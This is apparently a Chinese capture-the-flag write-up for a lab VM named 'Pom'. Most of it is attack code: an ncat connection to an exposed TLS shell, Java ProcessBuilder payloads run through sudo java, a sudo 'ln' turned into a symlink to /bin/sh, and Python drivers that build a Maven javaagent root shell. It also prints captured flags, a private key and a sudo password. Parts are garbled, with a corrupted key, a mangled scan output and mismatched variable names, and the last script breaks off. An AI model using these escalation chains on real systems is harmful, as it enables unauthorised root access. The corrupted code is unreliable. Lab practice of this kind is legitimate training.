

Pom-luoyinhui

靶机：Pom 作者：Sublarge 靶机 ID:608

- user.txt : flag{user-f823e147843dd5b23f0ac9d243ae12fb}
- root.txt : flag{root-4a29b2f65b40052a804c0cc4afb906bd}

```
nmap -Pn -p- -sV -T4 192.168.56.130
```

```
C:\Users\luoyinhui>nmap -Pn -p- -sV -T4 192.168.56.130
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-01 18:03 +0800
Nmap scan report for 192.168.56.130
Host is up (0.0014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 10.0 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.66 ((Unix))
55555/tcp open  ssl/unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.98T=SSL%I=7%D=5/1%Time=69F47A7C%P=i686-pc-windows-wi
SF:ndows%r(NULL,10,"\\x1b\\[\\?2004hsh-5\\.2\\$\\x20")%r(GenericLines,7C,"\\x1b\\[
SF:\\?2004hsh-5\\.2\\$\\x20\\r\\n\\x1b\\[\\?2004\\r\\x1b\\[\\?2004hsh-5\\.2\\$\\x20\\r\\n\\x
SF:1b\\[\\?2004\\r\\x1b\\[\\?2004hsh-5\\.2\\$\\x20\\r\\n\\x1b\\[\\?2004\\r\\x1b\\[\\?2004h
SF:sh-5\\.2\\$\\x20\\r\\n\\x1b\\[\\?2004\\r\\x1b\\[\\?2004hsh-5\\.2\\$\\x20")%r(GetReque
SF:st-5.2$ id
SF:uid=1000(mav1234) gid=1000(mav1234) groups=1000(mav1234)
```

80端口

```
C:\Users\luoyinhui>dirsearch -u 192.168.56.130
A:\ctftool\scan\dirsearch-master\dirsearch-master\lib\core\installation.py:24: UserWarning: pkg_resources is deprecated as an API
. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-1
1-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources

dirsearch v0.4.3

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12293

Target: http://192.168.56.130/

[21:10:14] Scanning:
[21:10:17] 200 - 820B - /cgi-bin/printenv
[21:10:17] 200 - 1KB - /cgi-bin/test-cgi
[21:10:19] 200 - 4KB - /index.html
[21:10:26] 403 - 317B - /server-status
[21:10:26] 403 - 317B - /server-status/

Task Completed
```

看了半天没啥用

55555 端口

ncat 直连：

```
C:\Users\luoyinhui>ncat --ssl 192.168.56.130 55555
sh-5.2$ id
id
uid=1000(mav1234) gid=1000(mav1234) groups=1000(mav1234)
sh-5.2$
sh-5.2$ whoami
whoami
mav1234
sh-5.2$
```

```
sh-5.2$ pwd
pwd
/home/mav1234
sh-5.2$
sh-5.2$ cat /home/mav1234/user.txt
cat /home/mav1234/user.txt
flag{user-f823e147843dd5b23f0ac9d243ae12fb}
```

获得 user flag

提权

```
sh-5.2$ sudo -l
sudo -l
Matching Defaults entries for mav1234 on Pom:

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for mav1234:
  Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User mav1234 may run the following commands on Pom:
  (qc2000) PASSWD: /usr/bin/java
```

家目录有提示

```
sh-5.2$ cat journal
cat journal
I've encrypted my secret with my key. No one else can read it now. It's
safely hidden away:)
```

,local 目录下找到密匙:

```
sh-5.2$ cat ssl.pem
cat ssl.pem
-----BEGIN PRIVATE KEY-----
MIIJQgIBADANBgkqhkiG9w0BAQEFAASCSSwwggkoAgEAAoICAQDylEQQUsAPSo6Y
TElEnKXxIQ6utctm6EVM7AZKMb8FpkRymjIwHXnchsIClpzxVnone92ZP8APFhkX
GTU9JQhc4Zk5KPYgRQMwplvZj8vqM5b3Vr8/3K7pAeUW9b2cB6deg28AQBviUEMJ
M1ZhMfIlNzh7reBx5GI+6HvRVlD5Xg73zFdvj+JLX9QRLEaUWKIEs35wwEyNp99a
XQVoTGmPfVuOP8IejpBaDA/YD/1JMqiU0yxLVg48pNaNcItvPDJ63PuueXHXReTF
47E+ly0uC1GPZJiVfmQRY6M+Raws10gc12xEpybU+ZKwXdXLB0ESHf1HEFYaSLt
/AsvhuS+U6A1S80WzcJDPMAa+Na4lks40ThhIbL5gpNNvLAVnGqSrN/XdQxXEqMn
rGu6nju0260eWvcyl7qZZ/YEbguuNMs643fkxaDG9P323ZE4BmKevLA3b062Vmjd
0AmvPTKFW2GY6AY1XdIP9EHSePaTA1KgXaowUBybK+gnOFUWwjI6ngWLUQj0+nCi
```

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
THu1n0eMB4vEAtMz7uFtRkDCDCOPiw==

-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----

MIIFoTCCA4mgAwIBAgIUUVLyuh/l5EdN2c47Y0L//ePA07GYwDQYJKoZIhvcNAQEL
BQAwYDELMAKGA1UEBhMCVVMxZjAMBGNVBAgMBVN0YXRlMQ0wCwYDVQQHDARDaXR5
MQ4wDAYDVQQKDAVNyXZlbjEOMAwGA1UECwwFUHJveHkxZjAQBGNVBAMMCWxvY2Fs
aG9zdDAeFw0yNjA5MjYwNzIwNDhaFw0zNjA5MjYwNzIwNDhaMGACzAIBGNVBAYT
AlVTMQ4wDAYDVQQIDAvtDGF0ZTENMA5GA1UEBwwEQ2l0eTEOMAwGA1UECgwFTWF2
ZW4xDjAMBGNVBAsMBVByb3h5MRIwEAYDVQQDDA1sb2NhbGhvc3QwggIiMA0GCSqG
SIb3DQEBAQUAA4ICDwAwggIKAoICAQDyLEQQUsAPSo6YTElEnKXxIQ6utctm6EVM

```
7AZKMB8FpkRymjIwHXnchsIClpzxVnone92ZP8APFhkXGTU9JQhc4Zk5KPYgRQMw
pLvZj8vqM5b3Vr8/3K7pAeUW9b2cB6deg28AQBviUEMJM1ZhMfIlZh7reBx5GI+
6HvRVLD5Xg73zFdvj+JLX9QRLEaUWKIEs35wwEyNp99aXQVoTGMpfvUOP8IejpBa
DA/YD/1JMqiU0yxlvG48pNaNcItvPDJ63PuueXHXReTF47E+ly0uClGPZJiVfmQR
Y6M+Raws10gc12xEpbybU+ZKwXdXLbOESHf1HEFYaSLt/AsvhuS+U6A1S8OWzcJD
PMaa+Na4lks40ThhIbL5gpNNvLAVnGqSrN/XdQxXEqMnrGu6nju0260eWvcyl7qZ
Z/YEbguuNMs643fkxaDG9P323ZE4BmKevLA3b062Vmjd0AmvPTKfw2GY6AY1XdIP
9EHSePaTA1KgXaowUBbyk+gnOFUWwjI6ngWLUQj0+nCinMjlgG/URYHPiYbdYTBv
PS2aQ18tYPKLCdoQNvWEhIYYKroKpfr3WHANuAySJfp50mcGz9p5E0TU0o0l0LSq
C42zck1eWT/qLDppvJrrqxCS/x1k2SpLkQx50ohnkwr0MtaNDFqm1HJDfnSGLiHM
GYSliYwgDwIDAQABo1MwUTAdBgNVHQ4EFgQU9/xnvtfBkD4TGxnNgjoDSQXG1tAw
HwYDVR0jBBGwFoAU9/xnvtfBkD4TGxnNgjoDSQXG1tAwDwYDVR0TAQH/BAUwAwEB
/zANBgkqhkiG9w0BAQsFAAOCAgEAAuOVYz8E3u0VBdnMrUQuGDFP6ZNGvyAmNMP84
2QxL8g8r8K5SNo/JHhBf8CkY2BJG15l01/Ic6g56DqzTsQjfmwQAjfnqVWyHwcp9
KSj9XdE3V39Q01ZGgICStAW0n3TXAa1jRn+GHcz7SZyTB9jG0qh1aA0rAH6/Rsdf
XBsBpesbeMAHhD2oJdMl45Bkl3dW8FruNP/CAde8vpPR0AQmsHy/2a5m7dcsCK39
JgroLyhPJGFdHi698agrnsd1vNwzpfQRmu9Iw6Bk/0W5U8jLFYmZu+fk2rzA06o6
96GZumbchDHhsi7Ajoa+RYTEXqbyU9a2KDnm30ZC5R5WQY/d+BVnjRmeFPWv8kqa
5gJ0FGoYCMiR8PY0dpH9wKm4IwxsQAI0e3S2VuEaI6ceR07Yq/FS31adbb+B3UjV
pWm7+WDDjsEKXY7jxjqWk7Lq3Rh1bTMDR4fxFVhXLish3vQfDA8xSZrGCRaqrwM
AzjwR2b2GkKVauVgMJ/8W1kupoJAjr63JIhzmCz3Ciq9/uwgpLFqHhMn1ooBKToU
rWXPT5PXKEFHODfP+uj9NP8aTxrevJ1SCX7e0S6U061J0Zjmk7jY+L6ke5b1KGiV
9NYSvoozjwwRKzAxR95V8TVCy4gNa5ViLG6FcXQ1hLDdFMfRTfuMrYvTtiqhWVvd
TgrwK04=
-----END CERTIFICATE-----
```

随后确认 `ssl.pem` 是可用私钥，用它解密 `maven.meta`：

```
openssl rsa -in /home/mav1234/.local/ssl.pem -check -noout
openssl pkeyutl -decrypt -inkey /home/mav1234/.local/ssl.pem -in
/home/mav1234/.local/maven.meta
```

```
MvxPf8yCB8lxXk5A
```

但核心思路一直没变：让 `sudo -u qc2000 java` 执行一段会起 `/bin/sh -c ...` 的 Java 代码。

例如：

```
cat >/tmp/Probe.java <<'EOF'
import java.io.*;
public class Probe {
    public static void main(String[] args) throws Exception {
        Process p = new ProcessBuilder("/bin/sh", "-c", "whoami; id; sudo -n -l
2>/dev/null || true")
            .redirectErrorStream(true).start();
        try (InputStream in = p.getInputStream()) { in.transferTo(System.out); }
```

```

        p.waitFor();
    }
}
EOF
echo 'MvxPf8yCB8lxXk5A' | sudo -S -p '' -u qc2000 /usr/bin/java
/tmp/Probe.java

```

```

uid=1001(qc2000) gid=1001(qc2000) groups=1001(qc2000)
Matching Defaults entries for qc2000 on Pom:

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for qc2000:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User qc2000 may run the following commands on Pom:
(terra536) NOPASSWD: /home/terra536/ln

```

看看 /home/terra536/ln 是什么和用户权限

```

sudo -n -u terra536 /home/terra536/ln --help
grep '^terra536:' /etc/passwd
ls -ld /home/terra536

```

```

cat >/tmp/Probe.java <<'EOF'
import java.io.*;
public class Probe {
    public static void main(String[] args) throws Exception {
        Process p = new ProcessBuilder("/bin/sh", "-c", "sudo -n -u terra536
/home/terra536/ln --help;grep '^terra536:' /etc/passwd;ls -ld
/home/terra536")
            .redirectErrorStream(true).start();
        try (InputStream in = p.getInputStream()) { in.transferTo(System.out); }
        p.waitFor();
    }
}
EOF
echo 'MvxPf8yCB8lxXk5A' | sudo -S -p '' -u qc2000 /usr/bin/java
/tmp/Probe.java

```

```

GNU bash, version 5.2.37(1)-release-(x86_64-alpine-linux-musl)
Usage: /home/terra536/ln [GNU long option] [option] ...
       /home/terra536/ln [GNU long option] [option] script-file ...
GNU long options:
    --debug

```

```
--debugger
--dump-po-strings
--dump-strings
--help
--init-file
--login
--noediting
--noprofile
--norc
--posix
--pretty-print
--rcfile
--restricted
--verbose
--version
```

Shell options:

```
-ilrsD or -c command or -O shopt_option          (invocation only)
-abefhkmnptuvxBCEHPT or -o option
```

Type ``/home/terra536/ln -c "help set"'` for more information about shell options.

Type ``/home/terra536/ln -c help'` for more information about shell builtin commands.

Use the ``bashbug'` command to report bugs.

bash home page: <<http://www.gnu.org/software/bash>>

General help using GNU software: <<http://www.gnu.org/gethelp/>>

terra536:x:1002:1002::/home/terra536:/bin/bash

drwx----- 2 terra536 terra536 4096 May 1 18:53 /home/terra536

- 如果把 `/home/terra536/ln` 替换成 `/bin/sh`, qc2000 可以无密码获得 terra536 的 shell
- 这个 shell 太不稳定了搞了个脚本稳定一下

```
#!/usr/bin/env python3
import argparse
import os
import re
import secrets
import select
import selectors
import shlex
import socket
import ssl
import sys
import termios
import time
import tty
from typing import Optional
```

```

class RemoteShell:
    def __init__(self, host: str, port: int, timeout: float) -> None:
        self.host = host
        self.port = port
        self.timeout = timeout
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        raw = socket.create_connection((host, port), timeout=timeout)
        self.sock = ctx.wrap_socket(raw, server_hostname=host)
        self.sock.setblocking(True)

    def send_text(self, text: str) -> None:
        self.sock.sendall(text.encode())

    def close(self) -> None:
        try:
            self.sock.shutdown(socket.SHUT_RDWR)
        except OSError:
            pass
        self.sock.close()

    def _read_chunk(self, timeout: float) -> bytes:
        ready, _, _ = select.select([self.sock], [], [], timeout)
        if not ready:
            return b""
        try:
            data = self.sock.recv(65536)
        except ssl.SSLWantReadError:
            return b""
        if not data:
            raise EOFError("remote connection closed")
        return data

    def drain(self, quiet: float = 0.25, total: float = 2.0) -> bytes:
        end = time.time() + total
        out = bytearray()
        while time.time() < end:
            chunk = self._read_chunk(quiet)
            if not chunk:
                break
            out.extend(chunk)
        return bytes(out)

    def run_script(self, script: str, timeout: float = 60.0) -> str:
        step = secrets.token_hex(6)
        token = f"__POM_DONE_{step}__"
        marker = token.encode()
        delim = f"__POM_SCRIPT_{step}__"

```

```

remote = f"/tmp/pom-step-{step}.sh"
wrapper = (
    f"cat > {remote} <<'{{delim}}'\n"
    f"{{script.rstrip()}}\n"
    f"{{delim}}\n"
    f"/bin/sh {remote}\n"
    "rc=$?\n"
    f"rm -f {remote}\n"
    f"printf '\\n{{token}}:s\\n' \"${rc}\"\\n"
)
self.send_text(wrapper)

buf = bytearray()
end = time.time() + timeout
while time.time() < end:
    chunk = self._read_chunk(0.5)
    if not chunk:
        continue
    buf.extend(chunk)
    if marker in buf:
        text = buf.decode(errors="replace")
        match = re.search(re.escape(token) + r":(\d+)", text)
        if not match:
            raise RuntimeError("failed to parse remote exit status")
        rc = int(match.group(1))
        if rc != 0:
            raise RuntimeError(text)
        return re.sub(r"\n?" + re.escape(token) + r":\d+\n?", "\n",
text)

    raise TimeoutError("timed out waiting for remote command to finish")

def interact(self) -> None:
    fd_in = sys.stdin.fileno()
    fd_out = sys.stdout.fileno()
    old = termios.tcgetattr(fd_in)
    sel = selectors.DefaultSelector()
    try:
        tty.setraw(fd_in)
        sel.register(fd_in, selectors.EVENT_READ)
        sel.register(self.sock, selectors.EVENT_READ)
        while True:
            for key, _ in sel.select():
                if key.fileobj == fd_in:
                    data = os.read(fd_in, 4096)
                    if not data:
                        self.close()
                        return
                    esc = data.find(b"\x1d")
                    if esc != -1:
                        if esc:

```



```

        self.sock.sendall(data[:esc])
        self.close()
        return
    self.sock.sendall(data)
else:
    try:
        data = self.sock.recv(65536)
    except ssl.SSLWantReadError:
        continue
    if not data:
        return
    os.write(fd_out, data)

finally:
    sel.close()
    termios.tcsetattr(fd_in, termios.TCSADRAIN, old)

def run_probe(self, probe: str, timeout: float = 20.0) -> str:
    token = f"__POM_PROBE_{secrets.token_hex(6)}__"
    payload = (
        f"printf '{token}:start\\n'\\n"
        f"{probe.rstrip()}\\n"
        f"rc=$?\\n"
        f"printf '{token}:%s\\n' \"${rc}\"\\n"
        "exit\\n"
    )
    self.send_text(payload)
    buf = bytearray()
    end = time.time() + timeout
    marker = f"{token}:".encode()
    while time.time() < end:
        chunk = self._read_chunk(0.5)
        if not chunk:
            continue
        buf.extend(chunk)
        if marker in buf and re.search(re.escape(token) + r":\d+",
buf.decode(errors="replace")):
            return buf.decode(errors="replace")
        raise TimeoutError("timed out waiting for probe output")

def log(msg: str) -> None:
    print(msg, file=sys.stderr)

def main() -> int:
    parser = argparse.ArgumentParser(description="Get an interactive qc2000
shell from Pom over TLS.")
    parser.add_argument("--host", default="192.168.56.130")
    parser.add_argument("--port", type=int, default=55555)
    parser.add_argument("--password", default=os.environ.get("POM_SUDO_PW"),

```

```

"MvxPf8yCB8lxXk5A"))
    parser.add_argument("--probe", help="run commands inside the spawned
shell, print output, then exit")
    parser.add_argument("--terra-info", action="store_true", help="print
terra536 context and sudo -n -l, then exit")
    args = parser.parse_args()

    session = RemoteShell(args.host, args.port, timeout=10.0)
    banner = session.drain()
    if banner:
        sys.stdout.write(banner.decode(errors="replace"))
        sys.stdout.flush()

    work = "/tmp/pom-wsl-qc2000"
    prep = f"\"#!/bin/sh

set -eu
command -v javac >/dev/null 2>&1
command -v sudo >/dev/null 2>&1
test -x /usr/bin/java
mkdir -p {shlex.quote(work)}
cat > {shlex.quote(work)}/inputrc <<'EOF'
set enable-bracketed-paste off
EOF
cat > {shlex.quote(work)}/QcShell.java <<'EOF'
import java.io.*;
import java.util.*;
public class QcShell {{
    public static void main(String[] args) throws Exception {{
        List<String> cmd = Arrays.asList("/bin/bash", "--noprofile", "--norc",
"-i");
        ProcessBuilder pb = new ProcessBuilder(cmd);
        pb.environment().put("PS1", "qc2000$ ");
        pb.environment().put("INPUTRC", "{work}/inputrc");
        Process p = pb.inheritIO().start();
        System.exit(p.waitFor());
    }}
}}
EOF
javac {shlex.quote(work)}/QcShell.java
printf '%s\\n' {shlex.quote(args.password)} | sudo -S -p '' -v
""

    output = session.run_script(prepare)
    if output.strip():
        sys.stdout.write(output)
        sys.stdout.flush()

    final_cmd = f"exec sudo -n -u qc2000 /usr/bin/java -cp
{shlex.quote(work)} QcShell\\n"
    session.send_text(final_cmd)

```

```

time.sleep(0.5)
immediate = session.drain(quiet=0.1, total=1.0)
if immediate:
    os.write(sys.stdout.fileno(), immediate)
probe_cmd: Optional[str] = None
if args.terra_info:
    probe_cmd = "sudo -n -u terra536 /home/terra536/ln -c 'whoami; id;
pwd; ls -la ~; sudo -n -l'"
elif args.probe:
    probe_cmd = args.probe
if probe_cmd:
    output = session.run_probe(probe_cmd)
    sys.stdout.write(output)
    sys.stdout.flush()
    return 0
session.interact()
return 0

if __name__ == "__main__":
    raise SystemExit(main())

```

qc2000 利用被允许执行的 ln，把它自己改成 /bin/sh：

```

sudo -n -u terra536 /home/terra536/ln -sf /bin/sh /home/terra536/ln
sudo -n -u terra536 /home/terra536/ln -c 'whoami; id; pwd; ls -la ~; sudo -
l'

```

```

qc2000$ sudo -n -u terra536 /home/terra536/ln -c 'whoami; id; pwd; ls -la ~;
sudo -l'
terra536
uid=1002(terra536) gid=1002(terra536) groups=1002(terra536)
/tmp/hsperfdata_qc2000
total 8
drwx-----  2 terra536 terra536    4096 May  1 18:53 .
drwxr-xr-x   5 root      root        4096 Feb 26 15:25 ..
lrwxrwxrwx   1 root      terra536      9 Feb 26 15:34 .bash_history ->
/dev/null
lrwxrwxrwx   1 terra536 terra536    17 May  1 18:50 .ssh ->
/home/mav1234/pub
lrwxrwxrwx   1 terra536 terra536      7 May  1 18:53 ln -> /bin/sh
Matching Defaults entries for terra536 on Pom:

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bi
n

```

Runas and Command-specific defaults for terra536:

```
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
```

User terra536 may run the following commands on Pom:

```
(ALL) NOPASSWD: /usr/bin/mvn
qc2000$
```

Maven 的 exec 插件尝试就是搞不出来, 只能 javaagent + .mvn/jvm.config

```
#!/usr/bin/env python3
import argparse
import os
import re
import secrets
import select
import selectors
import shlex
import socket
import ssl
import sys
import termios
import time
import tty

class RemoteShell:
    def __init__(self, host: str, port: int, timeout: float) -> None:
        self.host = host
        self.port = port
        self.timeout = timeout
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        raw = socket.create_connection((host, port), timeout=timeout)
        self.sock = ctx.wrap_socket(raw, server_hostname=host)
        self.sock.setblocking(True)

    def send_text(self, text: str) -> None:
        self.sock.sendall(text.encode())

    def close(self) -> None:
        try:
            self.sock.shutdown(socket.SHUT_RDWR)
        except OSError:
            pass
        self.sock.close()

    def _read_chunk(self, timeout: float) -> bytes:
        ready, _, _ = select.select([self.sock], [], [], timeout)
```

```

    if not ready:
        return b""
    try:
        data = self.sock.recv(65536)
    except ssl.SSLWantReadError:
        return b""
    if not data:
        raise EOFError("remote connection closed")
    return data

def drain(self, quiet: float = 0.25, total: float = 2.0) -> bytes:
    end = time.time() + total
    out = bytearray()
    while time.time() < end:
        chunk = self._read_chunk(quiet)
        if not chunk:
            break
        out.extend(chunk)
    return bytes(out)

def run_script(self, script: str, timeout: float = 120.0) -> str:
    step = secrets.token_hex(6)
    token = f"__POM_DONE_{step}__"
    marker = token.encode()
    delim = f"__POM_SCRIPT_{step}__"
    remote = f"/tmp/pom-step-{step}.sh"
    wrapper = (
        f"cat > {remote} <<'{delim}'\n"
        f"{script.rstrip()}\n"
        f"{delim}\n"
        f"/bin/sh {remote}\n"
        "rc=$?\n"
        f"rm -f {remote}\n"
        f"printf '\\n{token}:%s\\n' \"$rc\"\n"
    )
    self.send_text(wrapper)

    buf = bytearray()
    end = time.time() + timeout
    while time.time() < end:
        chunk = self._read_chunk(0.5)
        if not chunk:
            continue
        buf.extend(chunk)
        if marker in buf:
            text = buf.decode(errors="replace")
            match = re.search(re.escape(token) + r":(\d+)", text)
            if not match:
                raise RuntimeError("failed to parse remote exit status")
            rc = int(match.group(1))

```

```

        if rc != 0:
            raise RuntimeError(text)
        return re.sub(r"\n?" + re.escape(token) + r":\d+\n?", "\n",
text)

        raise TimeoutError("timed out waiting for remote command to finish")

def interact(self) -> None:
    fd_in = sys.stdin.fileno()
    fd_out = sys.stdout.fileno()
    old = termios.tcgetattr(fd_in)
    sel = selectors.DefaultSelector()
    try:
        tty.setraw(fd_in)
        sel.register(fd_in, selectors.EVENT_READ)
        sel.register(self.sock, selectors.EVENT_READ)
        while True:
            for key, _ in sel.select():
                if key.fileobj == fd_in:
                    data = os.read(fd_in, 4096)
                    if not data:
                        self.close()
                        return
                    esc = data.find(b"\x1d")
                    if esc != -1:
                        if esc:
                            self.sock.sendall(data[:esc])
                            self.close()
                            return
                        self.sock.sendall(data)
                    else:
                        try:
                            data = self.sock.recv(65536)
                        except ssl.SSLWantReadError:
                            continue
                        if not data:
                            return
                        os.write(fd_out, data)
            finally:
                sel.close()
                termios.tcsetattr(fd_in, termios.TCSADRAIN, old)

def run_probe(self, probe: str, timeout: float = 30.0) -> str:
    token = f"__POM_PROBE_{secrets.token_hex(6)}__"
    payload = (
        f"printf '{token}:start\\n'\\n"
        f"{probe.rstrip()}\\n"
        f"rc=$?\\n"
        f"printf '{token}:%s\\n' \"$rc\"\\n"
        "exit\\n"
    )

```

```

        self.send_text(payload)
        buf = bytearray()
        end = time.time() + timeout
        marker = f"{token}:".encode()
        while time.time() < end:
            chunk = self._read_chunk(0.5)
            if not chunk:
                continue
            buf.extend(chunk)
            if marker in buf and re.search(re.escape(token) + r":\d+",
buf.decode(errors="replace")):
                return buf.decode(errors="replace")
            raise TimeoutError("timed out waiting for probe output")

def log(msg: str) -> None:
    print(msg, file=sys.stderr)

def main() -> int:
    parser = argparse.ArgumentParser(description="Get an interactive root
shell from Pom over TLS.")
    parser.add_argument("--host", default="192.168.56.130")
    parser.add_argument("--port", type=int, default=55555)
    parser.add_argument("--password", default=os.environ.get("POM_SUDO_PW",
"MvxPf8yCB8lxXk5A"))
    parser.add_argument("--probe", help="run commands inside the spawned
shell, print output, then exit")
    args = parser.parse_args()

    session = RemoteShell(args.host, args.port, timeout=10.0)
    banner = session.drain()
    if banner:
        sys.stdout.write(banner.decode(errors="replace"))
        sys.stdout.flush()

    work = "/tmp/pom-wsl-root"
    agent_dir = f"{work}/agent"
    proj_dir = f"{work}/proj"
    prep = f""#!/bin/sh
set -eu
command -v javac >/dev/null 2>&1
command -v jar >/dev/null 2>&1
command -v sudo >/dev/null 2>&1
test -x /usr/bin/java
mkdir -p {shlex.quote(agent_dir)} {shlex.quote(proj_dir)}/.mvn
cat > {shlex.quote(work)}/inputrc <<'EOF'
set enable-bracketed-paste off
EOF
cat > {shlex.quote(work)}/RootLaunch.java <<'EOF'

```

```

import java.io.*;
public class RootLaunch {{
    public static void main(String[] args) throws Exception {{
        String cmd =
            "sudo -n -u terra536 /home/terra536/ln -c 'cd /tmp/pom-wsl-root/proj
&& exec sudo -n /usr/bin/mvn -q validate' " +
            "|| (sudo -n -u terra536 /home/terra536/ln -sf /bin/sh
/home/terra536/ln " +
            "&& sudo -n -u terra536 /home/terra536/ln -c 'cd /tmp/pom-wsl-
root/proj && exec sudo -n /usr/bin/mvn -q validate')";
        Process p = new ProcessBuilder("/bin/sh", "-c",
cmd).inheritIO().start();
        System.exit(p.waitFor());
    }}
}}
EOF
cat > {shlex.quote(agent_dir)}/Agent.java <<'EOF'
import java.lang.instrument.Instrumentation;
import java.util.*;
public class Agent {{
    public static void premain(String args, Instrumentation inst) throws
Exception {{
        List<String> cmd = Arrays.asList("/bin/bash", "--noprofile", "--norc",
"-p", "-i");
        ProcessBuilder pb = new ProcessBuilder(cmd);
        pb.environment().put("PS1", "root# ");
        pb.environment().put("INPUTRC", "{work}/inputrc");
        Process p = pb.inheritIO().start();
        p.waitFor();
        Runtime.getRuntime().halt(0);
    }}
}}
EOF
